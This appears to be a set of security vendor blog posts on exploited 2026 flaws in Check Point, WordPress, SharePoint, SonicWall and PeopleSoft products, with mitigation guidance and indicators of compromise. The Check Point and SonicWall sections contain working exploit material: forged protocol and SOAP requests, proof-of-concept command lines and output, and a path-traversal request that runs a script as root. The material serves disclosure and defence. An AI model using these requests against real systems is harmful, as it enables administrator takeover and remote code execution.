Shown above, the vulnerable “Take 146” accepts the caller's DN at [1]. The patched “Take 158” only allows a supplied DN for loopback CN=siclocal traffic at [2], which preserves the local application case. Remote clients now use the authenticated remote peer certificate DN at [3], and any mismatch between the supplied DN and that authenticated identity is rejected at [4]. The new empty identity check at [5] also prevents a remote application login when there is no authenticated SIC identity at all.

This is why replaying the management server's DN no longer works. The attacker can still send the same :DN text, but the patched remote path does not use that text as effectiveSicDn. If the client presents no certificate, as in our PoC, certificateDn is empty and the check at [5] rejects the login. If the client presents a certificate with some other DN, the mismatch check at [4] rejects the forged server DN. To make the supplied server DN survive the patched checks, the attacker would need an authenticated client certificate whose subject DN already matches that server DN, which removes the unauthenticated bypass.

Protocol flow to a SmartConsole session

The relevant application-layer traffic is shown below in the order our PoC sends it. For brevity, we have omitted the boilerplate CA and CRL bootstrap exchange as it is not pertinent to the vulnerability’s root cause.

After the SIC bootstrap, the PoC sends a certificate bind request that supplies the management server's own SIC DN (cp_mgmt,o=gw-5622ca..5otbwa in the example below):

(
    :local_bind (0)
    :token_bind (0)
    :DN ("cn=cp_mgmt,o=gw-5622ca..5otbwa") # <-- attacker-controlled identity
    :certificate_bind (1)
    :application_login ("CPM Server")
    :client_without_administrator (true)
)

Despite the :certificate_bind field name, the PoC does not load or present a client certificate in its Python TLS context. The bind request only provides the :DN claim as a text string. On a vulnerable server, the bind succeeds because the application login path accepts :DN as the effective SIC identity. The PoC then sends an open-database request, shown below, and receives the application login token described in Check Point's advisory.

(
    :type (command)
    :subject (open-database)
    :body (
        :Name ()
        :db_open_reason ()
        :dle_session_id ()
        :database ()
        :db_open_id ("(nil)")
    )
    :no-reply (false)
)

The open-database response is a binary-encoded FwSet object. The PoC extracts the 43-character DLE token from that response and then uses it as a CPM DLESESSIONID value.

The next step is to perform a gen-sso-token request. The forged application session asks FWM to create a SmartConsole ticket whose original client claims system_admin, local SOAP binding, and a permission bitmap indicating full permissions (i.e. all permission bits are set):

(
    :type (command)
    :subject (gen-sso-token)
    :body (
        :type (SmartConsole)
        :sso_original_client (SmartConsole
            :lower_name (system_admin)
            :soap_local_bind (1)
            :permissions ("ffffffff|ffffffff|ffffffff")
        )
    )
)

The native FWM authorization code has a special case for this command. If the current client is treated as a Check Point config administrator (which it will be), a gen-sso-token request is allowed before the normal permission mask check, as shown in [1] below. 

// Source: work/native_patch/t146/fw1/fw1/bin/fwm.full (fwm_is_authorized)

_BOOL4 __cdecl fwm_is_authorized(int a1, int a2, int a3)
{
int v3; // eax
int v4; // eax
int v5; // eax
bool v6; // zf
int v7; // edx
int v9; // [esp+14h] [ebp-34h]
int v10; // [esp+18h] [ebp-30h]
const char *v11; // [esp+1Ch] [ebp-2Ch]
_DWORD v12[7]; // [esp+2Ch] [ebp-1Ch] BYREF

  v11 = *(const char **)a2;
  v10 = CPMIGetClientPermission(a1);
  v12[0] = 0;
  v9 = CPMIGetClientAdvancedPermission(a1);
  fwobj_getint(a1, g_szCPMI_SOAP_LOCAL_BIND, v12);
  if ( v12[0] != 1 )
  {
    if ( is_fwmalert_client(a1) && strcmp(v11, "fwm-alert") )
      return 0;
    v3 = fwobj_safe_get(a1, g_szCPMI_LOWER_NAME);
    if ( strcmp(v11, "gen-sso-token") || !fwm_isCpconfigAdmin(v3) ) // <-- [1]
    {
      // Normal command permission checks follow.
      // ...
      return 0;
    }
  }
  return 1;
}

The gen-sso-token response contains a new SSO ticket. The attacker then redeems that ticket through the normal SmartConsole SOAP login path. The request below shows only the fields that matter to this analysis:

POST /cpmws/LoginSvcRemote HTTP/1.1
Host: 192.168.86.15:19009
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:l="http://www.checkpoint.com/DleWebService/LoginSvcRemote"
 xmlns:d="http://www.checkpoint.com/management/objects/schema/DleServerCoreSvc"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <soap:Body>
    <l:loginNew>
      <d:loginRequest>
        <d:applicationName>SmartConsole</d:applicationName>
        <d:domain>a0eebc99-afed-4ef8-bb6d-fedfedfedfed</d:domain>
        <d:authenticationInfo xsi:type="d:UserSSOTokenAuthenticationInfo">
          <d:username>system_admin</d:username>
          <d:SSOToken>512d49aa4c026d57177bea06dd28669c889479bfa8ea6d3b53fabe59ec9e0a2e</d:SSOToken>
        </d:authenticationInfo>
      </d:loginRequest>
    </l:loginNew>
  </soap:Body>
</soap:Envelope>

The loginNew response returns the two identifiers that SmartConsole uses for later requests:

<loginNewResponse>
  <return>
    <clientSessionId>ZMKhaQEsZ7bkMSlMVR7ARhvQIeTCdqwlvrcN-Ux4CvI</clientSessionId>
    <sid>hRA3CPLRpTalxBIiv3miYGFlLy6JNHYQwqcKhD4Aktg</sid>
  </return>
</loginNewResponse>

At this point, the attacker has moved from unauthenticated network access to a SmartConsole session identified by sid and clientSessionId. Ticket redemption is also the step that produces the advisory's log based IOC, with a message “Authentication method: application token” logged in the audit log, as shown in Figure 2 below.

figure2.png

Figure 2: Audit Log IOC.

Exploitation

Our PoC implements the minimum SIC/CPMI bootstrap needed to obtain the application token, mint the SmartConsole ticket, redeem it over SOAP, and display the results of several privileged operations before and after ticket redemption .

The following shows our PoC running against a vulnerable R81.20 target.

$ python3 CVE-2026-16232.py --target 192.168.86.15
[+] Targeting: 192.168.86.15
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622ca..5otbwa
[+] Application bind succeeded
[+] Application token obtained: XYB8PbLoXXnMx4J7W45UK-BhrjWkolvihp0P98G2qDc
[+] getServerInfo
    hostName: gw-5622ca
    hostIpAddress: 192.168.86.15
    osName: Linux
    osVersion: 3.10.0-1160.15.2cpx86_64
[+] Application token GetAllAdmins count: 0
[+] SmartConsole application-token ticket redeemed: 34bd621cc8855634fd97484fec258a18eb14eb8feb14b22c260a4accba715808
[+] GetAllAdmins count: 6
    admin: UNIX_PASSWORD
    Remote CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    upgrade_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    admin_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    SmartView Reporter Client_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD

For the purpose of demonstrating the vulnerability and the level of access the authentication bypass achieves, the PoC uses the authentication bypass to access some protected resources. Specifically, the PoC retrieves some basic system information via a call to getServerInfo, and retrieves the SmartConsole admin accounts via a call to GetAllAdmins.

First, the PoC uses the application token as a DLESESSIONID value for PerformanceTestSvcRemote.getServerInfo. The same SOAP method returns a fault without a valid session, while the application token returns the server information

The PoC then sends the same GetAllAdmins query twice, once with the application token and once with the redeemed SmartConsole session.

Using only the application token receives a successful query response with zero visible records, while using the redeemed SmartConsole session receives all records available.

Running the same PoC against a patched R82.10 target shows the malicious application bind request failing.

$ python3 CVE-2026-16232.py --target 192.168.86.16
[+] Targeting: 192.168.86.16
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin
[-] Application bind failed. The target is likely patched and not vulnerable.

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-16232 which contains further details.

CVE-2026-16232: Critical Check Point SmartConsole Authentication Bypass Exploited in the Wild

Overview

On July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as improper authentication (CWE-287). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.

Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.

The advisory addresses three vulnerabilities in total:

CVE

CVSS

Description

Affected Products

Exploitation Status

CVE-2026-16232

Vendor: 9.3 (Critical)
CISA: 9.1 (Critical)

Authentication bypass via SmartConsole application token

Security Management, Multi-Domain Management

Exploited in the wild

CVE-2026-62144

Vendor: 9.3 (Critical)
CISA: 9.1 (Critical)

Management authentication bypass and privilege escalation

Security Management, Multi-Domain Management

No known exploitation

CVE-2026-62145

7.5 (High)

Local privilege escalation in GaiaOS WebUI

Firewall, Multi-Domain Management, Multi-Domain Log Server

No known exploitation

Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point's advisory, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.

Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, CVE-2026-50751, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, CVE-2024-24919, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.

Technical analysis

On July 28, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-16232. Our analysis details the vulnerability and how an unauthenticated attacker can exploit the vulnerability to login to a vulnerable appliance via SmartConsole with full admin privileges.

Mitigation guidance

Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.

The following versions are affected by CVE-2026-16232:

  • R82.10: fixed in Jumbo Hotfix Take 36 and later

  • R82: fixed in Jumbo Hotfix Take 118 and later

  • R81.20: fixed in Jumbo Hotfix Take 158 and later

  • R81.10, R81, R80.30, R80.20, R80.10, R80, and R77.30: no fix specified

CVE-2026-62144 and CVE-2026-62145 affect the same release families (R81.10, R81.20, R82, R82.10) per the vendor advisory, with older versions also impacted.

Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:

  • Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets

  • Protect Management access with a firewall and restrict access to trusted IP addresses

  • Verify that implied rules for control connections are enabled

These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.

Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.

For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks available in the 24 July content release.

Indicators of compromise

Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:

  • 151.241.99[.]207

  • 151.241.99[.]233

  • 158.62.198[.]182

  • 192.142.10[.]99

  • 139.28.37[.]250

  • 194.213.18[.]137

Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.

Updates

  • July 23, 2026: Initial publication.
  • July 24, 2026: Updated to reflect availability of vulnerability checks.
  • July 28, 2026: Added a Technical analysis section for the new Rapid7 Analysis.

CVE-2026-63030: wp2shell a Critical Remote Code Execution Vulnerability in WordPress Core

Overview

On July 17, 2026, a GitHub Security Advisory was published for CVE-2026-63030, a critical unauthenticated remote code execution vulnerability affecting WordPress Core. While the official GitHub security advisory classifies the severity as Critical, the vulnerability has currently been assigned a CVSS score of 7.5. WordPress is one of the most widely deployed content management systems, making vulnerabilities in its core software potentially significant for organizations operating public-facing websites. The vulnerability reportedly allows an unauthenticated attacker to execute code via the WordPress REST API batch endpoint, potentially resulting in complete compromise of the website and its underlying data. No valid account or user interaction is required.

According to the advisory, the vulnerability affects WordPress versions 6.9.0 through 6.9.4 and versions 7.0.0 through 7.0.1. The issue is fixed in WordPress 6.9.5 and 7.0.2. A fix is also included in WordPress 7.1 Beta 2.

Cloudflare reported that the vulnerable code path can be reached when a persistent object cache is not in use. Searchlight Cyber, whose researchers identified the vulnerability, stated that it can be exploited remotely against a default WordPress installation without requiring additional plugins.

Update, July 22: Since initial publication, Searchlight Cyber has published full technical details of the exploit chain, multiple public proof-of-concept exploits have surfaced, and both CVEs were added to CISA's Known Exploited Vulnerabilities (KEV) catalog on July 21 (CVE-2026-63030, CVE-2026-60137), confirming active exploitation.

Technical overview

CVE-2026-63030 is a logic flaw in the WordPress REST API batch processor (/wp-json/batch/v1). The batch API performs validation and execution in separate loops. When wp_parse_url() fails on a sub-request path, the error is pushed to the validation array but not the matches array. This desynchronizes the arrays, causing every subsequent request to dispatch under the wrong handler.

CVE-2026-60137 is a SQL injection in the author__not_in parameter of the posts endpoint. The parameter is interpolated directly into raw SQL when provided as a scalar string. Parameter validation normally prevents this, but the batch API desynchronization allows bypass. A recursive batch call bypasses GET restrictions, yielding pre-authentication UNION-based SQL injection.

When both vulnerabilities are present, escalation to RCE chains WordPress internals to create an administrator account. The attacker logs in and uploads a malicious plugin for code execution. Neither vulnerability alone is sufficient for unauthenticated code execution. Searchlight Cyber's full technical writeup details each step of the chain.

Mitigation guidance

Organizations operating affected WordPress installations should prioritize upgrading immediately. Applying the WordPress-provided update is the most effective way to remediate CVE-2026-63030.

Affected and fixed versions include:

WordPress branch

Affected versions

Fixed version

Earlier than 6.9

Not affected by CVE-2026-63030

No action required for this CVE

6.9

6.9.0 through 6.9.4

6.9.5

7.0

7.0.0 through 7.0.1

7.0.2

7.1 beta

Affected beta versions were not fully specified

7.1 Beta 2

WordPress maintainers stated they are forcing updates for affected installations with automatic updates enabled. Administrators should nevertheless verify that each internet-facing WordPress website has successfully upgraded to WordPress 6.9.5, 7.0.2, or another fixed release appropriate for its branch.

As a temporary mitigation, organizations that cannot immediately update can block the /wp-json/batch/v1 endpoint (or ?rest_route=/batch/v1) at a web application firewall, or disable anonymous REST API access using a plugin.

Given confirmed exploitation in the wild, Rapid7 strongly recommends investigating for signs of compromise even after patching. Defenders should review HTTP access logs for anomalous batch endpoint requests and check for unfamiliar plugins or PHP files.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-63030 with unauthenticated vulnerability checks available in the July 20th, 2026 content release.

Updates

  • July 17, 2026: Initial publication.
  • July 22, 2026: Updated post to reflect public reporting of exploitation in the wild; added technical overview following Searchlight Cyber's full disclosure; added temporary WAF mitigation guidance; updated Overview to note CISA KEV addition (July 21).

CVE-2026-58644: Microsoft SharePoint Server Unauthenticated Remote Code Execution Vulnerability Exploited in the Wild

Overview

On July 14, 2026, Microsoft published a security advisory addressing CVE-2026-58644, a critical remote code execution (RCE) vulnerability affecting on-premises Microsoft SharePoint Server deployments. The vulnerability, which carries a CVSS v3.1 score of 9.8 (Critical), results from the deserialization of untrusted data (CWE-502) and allows an unauthenticated attacker to execute arbitrary code.

Microsoft confirmed active exploitation of CVE-2026-58644, and the vulnerability was subsequently added to CISA’s Known Exploited Vulnerabilities (KEV) catalog on July 16, 2026. In parallel, CISA published guidance recommending organizations immediately apply Microsoft’s security updates and leverage Microsoft Defender and AMSI detections to identify exploitation attempts.

Affected products:

  • Microsoft SharePoint Enterprise Server 2016

  • Microsoft SharePoint Server 2019

  • Microsoft SharePoint Server Subscription Edition

Update: On July 22, 2026, a separate SharePoint vulnerability, CVE-2026-50522, was added to CISA’s KEV catalog. CVE-2026-50522 is a deserialization of untrusted data vulnerability also affecting Microsoft SharePoint, and allows a remote attacker to achieve unauthenticated RCE on a vulnerable system. This separate RCE vulnerability was disclosed and patched by Microsoft as part of the same July 14 Patch Tuesday release as CVE-2026-58644. Customers who have applied all of the SharePoint security updates from the July 14 updates will be protected against both exploited in-the-wild vulnerabilities.

Mitigation guidance

Organizations operating affected on-premises Microsoft SharePoint Server should prioritize remediation on an emergency basis.

Microsoft’s recommendations:

  • Apply the July 14, 2026 security updates for all affected SharePoint versions.

  • Verify that security updates completed successfully across all SharePoint servers.

  • Ensure Antimalware Scan Interface (AMSI) integration is enabled for every SharePoint web application.

  • Monitor Microsoft Defender and AMSI detections for indicators of attempted exploitation.

  • Initiate incident response procedures if exploitation artifacts are detected.

Microsoft and CISA recommend monitoring for the following security detections associated with observed SharePoint exploitation activity.

AMSI / Microsoft Defender detections:

  • Exploit:Script/SuspSignoutReqBody.A

  • Request body scanning

  • SharePoint Server Subscription Edition

  • Microsoft reports observed exploitation attempts are blocked by this signature.

  • Exploit:Script/ToolPaneAuthBypass.A

  • Request header scanning

  • Applies to SharePoint Server 2016, SharePoint Server 2019, and Subscription Edition.

  • Exploit:Script/ToolPaneAuthBypass

At the time of publication, no public IP addresses, domains, URLs, or additional network-based indicators of compromise have been widely disclosed.

Administrators should consult Microsoft’s advisory for the most current remediation guidance and update availability.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-58644 with an authenticated vulnerability check available since the July 14 content release.

Updates

  • July 17, 2026: Initial publication.
  • July 23, 2026: Added a description of CVE-2026-50522 to the overview.

Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited (CVE-2026-15409, CVE-2026-15410)

Overview

On July 14, 2026, SonicWall published a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability CVE-2026-15409 (CVSS 10.0) and the high-severity code injection vulnerability CVE-2026-15410. The advisory urges customers to immediately apply the latest platform hotfix releases.

Successful exploitation of CVE-2026-15409 permits an unauthenticated attacker to open a websocket-based tunnel to arbitrary localhost-only services, while CVE-2026-15410 is a local privilege escalation that permits an attacker with access to an internal service listening on port 8188 on localhost to execute arbitrary operating system commands as root via a malicious path traversal-based remove_hotfix workflow.

Both vulnerabilities are being actively exploited in the wild. Prior to SonicWall’s official vulnerability disclosure, Rapid7’s Managed Detection and Response team observed active, targeted zero-day exploitation of internet-facing SMA 1000-series appliances. In the SonicWall advisory, exploitation in the wild was noted, and both CVE-2026-15409 and CVE-2026-15410 have been added to CISA's Known Exploited Vulnerabilities (KEV) catalog. Given the confirmed exploitation activity and the critical unauthenticated impact of the vulnerabilities, organizations should prioritize remediation of SMA1000 appliances on an emergency basis.

Affected products include SonicWall SMA1000 Series models 6210, 7210, and 8200v running:

  • 12.4.3-03245

  • 12.4.3-03387

  • 12.4.3-03434 (platform-hotfix)

  • 12.5.0-02283

  • 12.5.0-02624

  • 12.5.0-02800 (platform-hotfix)

These vulnerabilities do not affect SSL VPN functionality on SonicWall firewalls or the SMA 100 Series product line.

Technical overview

The primary vulnerability is in a websocket proxy feature, accessed via the path /wsproxy on the affected “SonicWall WorkPlace” application (served on port 443 by default). This feature permits a netcat-like TCP tunnel to arbitrary hosts and ports, which are provided by the user in URL parameters. By provided host values that point to localhost, the attacker can access local SonicWall appliance system services behind the firewall to send and receive arbitrary TCP traffic to and from them. This is the first-stage vulnerability, CVE-2026-15409, that Rapid7 MDR analysts are seeing attackers exploit in the wild. With this capability, an attacker can reach and exploit less-hardened services running on the appliance, such as the Erlang application on localhost:1050 or the ctrl-service application on localhost:8188. 

We developed an exploit targeting the Erlang process listening on localhost:1050 for remote code execution. Note that the provided cookie value is hardcoded for the Erlang process, based on our testing, so authentication is not required to establish code execution.

# python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'whoami && id && pwd && hostname'
Authenticated to couchdb@127.0.0.1
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

With code execution established, the attacker can escalate to root on the appliance by exploiting CVE-2026-15410, which is a path traversal in the remove_hotfix workflow of ctrl-service. This can be performed via the web console or by hitting port 8188 on the device. The attacker provides a hotfix value containing a path traversal sequence to a malicious script, such as ../../../../var/tmp/privesc. The system executes the script as root and (typically) reboots the appliance immediately after.

An example malicious request achieving privilege escalation by leveraging this from the web panel is depicted below:

POST /rollbackConfirm.action HTTP/1.1
Host: 192.168.181.46:8443
Cookie: EXTRAWEB_REFERER=%252F; JSESSIONID=node01bcg1tbiy6qi7s97xsoa42lhp8.node0
Content-Length: 134
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="24", "Chromium";v="152"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Origin: https://192.168.181.46:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.181.46:8443/rollbackConfirm.action
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

csrfToken=GFEJUCQBUZOLUCCOO3YBA8G30ZE9VKDP&command=rollback&rollbackUpgradeTime=&hotfix=../../../../../tmp/1234.sh&rollbackHotfixTime=

If the provided hotfix file does not exist, a reboot does not occur. If the provided file exists, the system reboots after it chmods and executes the file. Below is a system monitor (pspy) depicting output of this occurring during exploitation:

2026/07/09 23:21:00 CMD: UID=0     PID=10355  | chmod +x /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh
2026/07/09 23:21:00 CMD: UID=0     PID=10355  | /bin/bash /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh --unattended
2026/07/09 23:21:00 CMD: UID=0     PID=10361  | /usr/bin/python3 /usr/local/ctrl-service/bin/ctrl-service.py
[...]
2026/07/09 23:21:22 CMD: UID=0     PID=11124  | shutdown -r now

A Python proof-of-concept for CVE-2026-15409 is available here; a Metasploit module for the chain is in development.

Mitigation guidance

Organizations operating SonicWall SMA1000 appliances should immediately upgrade to the latest platform hotfix releases.

Fixed versions are:

Product

Fixed Version

SMA1000 Series (6210, 7210, 8200v)

12.4.3-03453 (platform-hotfix) or later

SMA1000 Series (6210, 7210, 8200v)

12.5.0-02835 (platform-hotfix) or later

There are no workarounds available.

Because active exploitation has been confirmed, organizations should not rely solely on patching. SonicWall additionally recommends:

  • Performing a thorough forensic review for indicators of compromise.

  • Re-imaging physical appliances or redeploying virtual appliances if compromise is identified.

  • Changing user and administrator passwords.

  • Resetting TOTP tokens following confirmed compromise.

Customers should consult the SonicWall security advisory for the latest remediation guidance and platform hotfix availability.

Observed exploitation

Prior to SonicWall’s official vulnerability disclosure, our Managed Detection and Response team observed active, targeted exploitation of internet-facing SMA 1000-series appliances. Threat actors were primarily leveraging the perimeter appliance as a stealthy initial access vector, executing commands on the operating system by bypassing traditional input validation controls. Once they established a foothold on the appliance, the actors systematically extracted high-value credentials, active session databases, and Time-Based One-Time Password (TOTP) multi-factor authentication (MFA) seed configurations. This local harvesting was designed to ensure long-term, persistent access that could survive standard network-level remediations.

With these harvested resources, the threat actors quickly shifted to lateral movement, pivoting from the compromised appliance directly into the internal corporate network. Specifically, we observed a sequence of anomalous, VPN-less Active Directory authentications targeting core domain controllers. These authentications originated directly from the appliance’s internal IP address, using atypical, non-corporate workstation client names (such as kali or other non-inventory hostnames) under the context of the appliance’s integrated LDAP service account. This unique behavior of direct, machine-level lateral movement with no corresponding active VPN tunnel confirmed that the appliance itself had been fully compromised and was acting as an unmonitored backdoor into the corporate directory infrastructure.

Artifacts or evidence sources and IOCs

Rapid7 recommends reviewing appliance logs for evidence of active exploitation, including the following characteristic behaviors and specific log indicators:

Characteristic behaviors

Websocket exploit IOC log patterns: extraweb_access.log entries containing the strings ("GET" AND "wsproxy" AND "=-3389" AND “ 101 “) indicate interactions with the niche affected service. If suspicious host parameter values such as “localhost” or “::ffff:127.0.0.1” are present, that’s indicative of likely exploitation of CVE-2026-15409. Note that “serviceType=SSH” was used in our published materials, but options such as “serviceType=TELNET” are viable alternatives.

Hotfix removal exploit IOC log patterns: The ctrl-service.log shows the hotfix-removal utility (/usr/local/bin/remove_hotfix) being invoked with traversal sequences pointing to attacker-staged shell script payloads (e.g., ../../../../../../tmp/sma1000_5c47.sh). This is indicative of successful exploitation of CVE-2026-15410.

Internet-facing probing: Enumeration of the SMA portal, including repeated requests to /auth1.html, path-traversal attempts, and generic file/enumeration requests (e.g., /.env, /api/sonicos/is-sslvpn-enabled).

Authentication activity: Authentication-API activity against /__api__/logon/<session-id>/authenticate.

Sensitive path access: Access to sensitive appliance paths such as /tmp/temp.db*, consistent with theft of stored session data.

AD/Service Account Compromise: NTLM logons (Windows Event ID 4624, logon type 3) into internal domain controllers sourced from the appliance's internal IP address, using attacker-controlled workstation names (e.g., kali) without a corresponding VPN session.

extraweb_access.log: Requests to /__api__/login or /__api__/logout returning HTTP 200, and requests to /wsproxy containing suspicious host parameters returning HTTP 101.

Configuration artifacts

/var/lib/unit/conf.json containing routes for /__api__/login or /__api__/logout, which are not present in legitimate configurations.

Atomic Indicators

F.N.S Holdings Limited (ASN - 206092): The threat actor(s) utilized varying IP addresses, but they belonged to the VPN hosting provider FNS Holdings Limited. Limit or block access to FNS Holdings Limited if there is no business need. For reference, the IP addresses we observed were:

  • 45.131.194.0/24

  • 45.146.54.0/24

  • 63.135.161.0/24

  • 173.239.211.0/24

  • 193.37.32[.]179

  • 193.37.32[.]214

  • 216.73.163[.]151

  • 216.73.163[.]158

Attacker Asset Names:

  • DESKTOP-KRLUI3J

  • DESKTOP-IC3C80F

  • DESKTOP-5P0TSCP

  • KALI

  • localhost

If any indicators of compromise are identified, organizations should treat the appliance as compromised and follow SonicWall’s recovery guidance.

Rapid7 customers

Organizations should prioritize identifying all internet-facing SonicWall SMA1000 appliances and determine whether affected software versions remain deployed. Given SonicWall’s and Rapid7’s confirmation of active exploitation, exposed appliances should be considered high-priority assets for remediation.

Security teams should also review available authentication, web access, and appliance management logs for the indicators published by SonicWall to determine whether follow-up incident response activities are warranted.

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers will be able to assess exposure to CVE-2026-15409 and CVE-2026-15410 with authenticated vulnerability checks available in the July 15 content release.

Updates

  • July 15, 2026: Initial publication.
  • July 16, 2026: Additional IOCs identified and blog section updated with the identified attacker asset names.

Active Exploitation of Oracle PeopleSoft Zero-Day (CVE-2026-35273)

Overview

On June 10, 2026, Oracle published a security alert for CVE-2026-35273, a critical vulnerability in the Updates Environment Management component of PeopleSoft Enterprise PeopleTools. Oracle released an out-of-band patch the same day as the advisory, underscoring the urgency of remediation. The vulnerability has a CVSSv3.1 score of 9.8 and is remotely exploitable without authentication. Per the vendor advisory, successful exploitation may result in remote code execution (RCE). TrendAI has classified the underlying flaw as a server-side request forgery (CWE-918). PeopleTools versions 8.61 and 8.62 are affected.

CVE-2026-35273 was reported to Oracle through TrendAI's Zero Day Initiative. According to a report published by Mandiant on June 11, 2026, this vulnerability has been exploited in the wild as a zero-day prior to the vendor security alert, with active exploitation observed between May 27 and June 9, 2026, predating Oracle's advisory by two weeks. The vulnerability was added to the CISA KEV on June 12, 2026.

Mandiant has attributed the campaign to UNC6240 (ShinyHunters), a financially motivated cybercriminal collective known for data theft and extortion. ShinyHunters has been linked to breaches across cloud services, SaaS platforms, and telecommunications providers, frequently exploiting weak authentication controls, stolen credentials, and cloud misconfigurations rather than deploying sophisticated malware.

Based on information published by Mandiant, the campaign heavily targeted the higher education sector; 68 percent of the more than 100 notified organizations were universities and colleges. The observed exploitation targeted PeopleSoft's Environment Management Hub (PSEMHUB) endpoints, and data stolen during the campaign was published on the ShinyHunters Data Leak Site (DLS) on June 9, 2026.

The /PSIGW/HttpListeningConnector URI path appears in both the indicators of compromise for this campaign and in a PeopleSoft exploit chain for CVE-2013-3821, detailed by Lexfo in 2017. A related XML External Entity (XXE) vulnerability, CVE-2017-3548, targeted a different Integration Gateway connector (PeopleSoftServiceListeningConnector) under the same /PSIGW/ path.

Technical overview

TrendAI's detection signatures for CVE-2026-35273 classify the underlying vulnerability as an SSRF. These include IPS Rule 1012580 ("Oracle Peoplesoft PeopleTools SSRF Vulnerability") and DDI Rule 5855 ("Peoplesoft PeopleTools Environment Management Hub (PSEMHUB) SSRF Exploit"). Mandiant describes CVE-2026-35273 as a critical remote code execution vulnerability, indicating that the SSRF serves as the mechanism through which code execution is achieved. Based on Mandiant's analysis, two endpoints are involved in exploitation: /PSEMHUB/hub and /PSIGW/HttpListeningConnector. The exploit chain may also cause the target system to make outbound SMB connections (TCP port 445) to external destinations, potentially allowing attackers to capture Windows machine-account NetNTLM hashes.

